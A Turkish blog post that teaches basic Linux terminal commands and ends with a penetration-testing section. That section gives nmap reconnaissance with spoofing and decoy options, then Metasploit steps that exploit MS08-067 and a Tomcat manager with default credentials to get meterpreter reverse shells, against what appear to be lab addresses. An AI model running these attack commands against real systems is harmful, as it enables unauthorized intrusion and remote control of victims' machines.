Linux Terminal Komutları KabukKullanıcının işletim sistemiyle iletişimini sağlayan yorumlayıcıdır. Verilen komutları işletim sistemine, komutların çıktılarını da kullanıcıya iletir. Birçok uygulaması vardır. Bash, sh, zsh en çok bilinenleridir. Komutlarpwd : bulunulan dizini ekrana basar.pwd
man : komut hakkında detaylı bilgi almak için kullanılır.man pwd man grep
mkdir : yeni bir dizin oluşturmak için kullanılır.mkdir deneme_dizin mkdir -p deneme_dizin_diger/alt_dizin mkdir -p deneme_dizin_deger/{0..9}
touch : yeni bir dosya oluşturur.touch deneme_dosya_diger touch deneme_dizin_x/{A..Z}
rm : dosya veya klasör siler.rm deneme_dosya rm -r deneme_dizin/ rm -rf deneme_dizin/
cp : dosya veya klasör kopyalama için kullanılır.cp deneme_dosya deneme_dosya3 cp deneme_dizin deneme_dizin2 -r
mv : dosya veya klasörleri taşımak için kullanılır.mv deneme_dosya deneme_dosya3
find : gelişmiş arama aracıdır.find . -name "*.txt"
cd : dizin değiştirmek için kullanılır.cd .. cd cd deneme/
ls : dosya ve dizinleri listeleyip, özelliklerini görüntüler.ls -a ls -l ls -r
cat : dosya içeriğini görüntüler.cat deneme_dosya
echo : ifadeleri ekrana basar.echo "deneme" echo $HOME
more , less : içeriği fazla olan, ekrana sığmayan dosyaları görüntüler.more deneme_dosya less deneme_dosya
head : bir dosyanın baştan itibaren istenilen sayıda satırını ekrana basar.head deneme_dosya head -1 deneme_dosya
tail : head gibi çalışır ancak sondan itibaren ekrana basar.tail deneme_dosya tail -1 deneme_dosya tail -f deneme_dosya
grep : metin dosyaları içerisinde belirli değerleri aramak için kullanılır.grep "kelime" deneme_dosya grep "kelime" . -R grep "Kelime" deneme_dosya -i
uname : sistem bilgilerini görüntüler.uname uname -a
chown : dosya veya klasörlerin sahibi ve grubunu değiştirir.chown halit:users deneme_dosya chown -R halit:users deneme_dizin/
service : servislerin yönetilmesi için kullanılır.service apache2 start service apache2 status
mount : diskleri sisteme bağlar.mount mount /dev/sdb1 mnt
Çıktı YönlendirmeKomutların çıktıları dosyalara yönlendirilebileceği gibi, dosya içerikleri de komutlara yönlendirilebilir. Doğrudan bir çıktı > işareti ile yönlendirilir. Yönlendirildiği yerdeki diğer içeriği siler. Aynı işlem >> işareti ile yapılsaydı, içeriğin sonuna ekleme yapılacaktı. Komutlara girdi vermek için < işareti kullanılır. Bir komutun çıktısını diğer komuta vermek için | kullanılır. echo "deneme2" > deneme_dosya echo "deneme3" >> deneme_dosya cut -d ":" -f1 < /etc/passwd cat /etc/passwd | cut -d ":" -f1 cat /etc/passwd | cut -d ":" -f1 | grep root
Dosya Sistemi/bin : Kullanıcı ve sistem yöneticisine ait çalıştırılabilir dosyaları barındırır./dev : Donanımlara erişebilmek için gerekli dosyaları barındırır./etc : Sistem konfigürasyonları için gerekli dosyaları barındırır./lib : Sistem kütüphanelerini barındırır./sbin : Sistem yöneticisine ait çalıştırılabilir dosyaları barındırır./home : Kullanıcılara ait dizindir./mnt : Sisteme dışarıdan bağlanacak olan donanım aygıtlarının, bağlantı noktalarını belirten dizindir./root : Bir sistemde en yetkili kullanıcı olan "root" kullanıcısına ait dizindir./tmp : Geçici dosyaların yer aldığı dizindir./usr : Paylaşılan dosyaların barındığı dizindir. Burada çalışabilen dosyalar bulunmakla beraber, döküman ve programlara ait dosyalar da yer almaktadır./var : Sistem ve programlara ait log mesajları, email gibi mesajların bulunduğu dizindir./proc : Sistem hakkında gerekli bilgilerin bulunduğu sanal dizindir./boot : Linux Kernelini barındıran, sistem haritalarını ve ikinci seviye boot yükeleyicilerini barındıran dizin./opt : Add-on yazılımların bulunduğu alandır. Dosya İzinleriHer dosya ve klasörün hem sahibi hem de grubu vardır. Bu izinler read(4), write(2), execute(1) olmaktadır. İzinler verilirken sahip, gurup ve herkes olarak belirlenir. chmod 777 deneme_dosya chmod +x deneme_uygulama chmod g+wx deneme_uygulama
Network Ayarlarıifconfig : mevcut ağ arayüzlerinin yönetimi için kullanılır.dhclient : DHCP'den ip talebinde bulunur.ifconfig ifconfig eth0 ifconfig eth0 192.168.2.2 netmask 255.255.255.0 dhclient eth0
Kullanıcı Yönetimi/etc/passwd : Kullanıcı bilgileri tutulur./etc/shadow : Kullanıcıların şifre özetleri tutulur.useradd osman cat /etc/passwd userdel osman
Süreç YönetimiÇalışmakta olan her program süreç olarak adlandırılır. Her sürecin kendine has bir PID numarası vardır. ps ps -aux top jobs -l fg bg ./uygulama & kill -9 1139
Paket Yönetimiapt-get install paket apt-cache search paket apt-get update apt-get upgrade apt-get remove paket
Kaynak Koddan Kurulum./configure make make install
Sistem Bilgisilsblk df -h cat /proc/cpuinfo cat /proc/meminfo netstat netstat -antl
Temel Network Komutlarip link ifconfig ifconfig eth0 192.168.10.12 netmask 255.255.255.0
dhclient eth0 dhcpd eth0
Arp tablosu içeriğini görüntelemek arp -a
arp -s 192.168.1.4 00-10-54-CA-E1-40
ICMP echo pakedi gönderme ping 8.8.8.8 ping google.com ping 8.8.8.8 -c 1
nano /etc/resolv.conf dig a halit.ninja dig aaaa 6.halit.ninja dig txt question.halit.ninja nslookup halit.ninja nslookup halit.ninja 8.8.8.8
Netcat aracı ile HTTP isteği gönderme nc halitalptekin.com 80 GET / HTTP/1.1 Host: halitalptekin.com
Curl aracı ile HTTP isteği gönderme curl -v http://halitalptekin.com
Traceroute aracı ile paket takibi traceroute google.com
Host aracı ile hostname öğrenme host 8.8.8.8
Bilgi Toplama Komutlarnmap 10.0.3.7 nmap 10.0.3.7 -O nmap -sV -p 80 10.0.3.7 nmap -sV -p 80 10.0.3.7 -v nmap -sS 10.0.3.7 -p 1-100 nmap -sP 10.0.3.7 nmap -A 10.0.3.7 nmap -p- -n -v -T4 10.0.3.7 nmap -p- -n -v -T4 10.0.3.7 -sV nmap -sA 10.0.3.7 -p 80 nmap -p- -n -v -T4 10.0.3.7 -oG results.txt nmap --spoof-mac 10:10:10:10:10:10 nmap -D 10.3.3.3,10.3.3.4,10.3.3.5 10.0.3.7 nmap -p 445 -n -v -T4 -sV --script smb-enum-shares 10.0.3.6 nc 10.0.3.6 9999 netdiscover -r 10.0.3.0/24
Servis Saldırıları Komutlarmsfconsole db_rebuild_cache search ms08 use exploit/windows/smb/ms08_067_netapi show options set rhost 10.0.3.6 set payload windows/meterpreter/reverse_tcp set lhost 10.0.3.5 exploit ls pwd getuid screenshot search tomcat use auxiliary/scanner/http/tomcat_mgr_login show options set rhost 10.0.3.7 set rport 8180 use exploit/multi/http/tomcat_mgr_deploy show options set rhost 10.0.3.7 set rport 8180 set username tomcat set password tomcat set payload java/meterpreter/reverse_tcp set lhost 10.0.3.5 nc 10.0.3.7 1524
Kaynaklar
Hiç yorum yok:
Yorum Gönder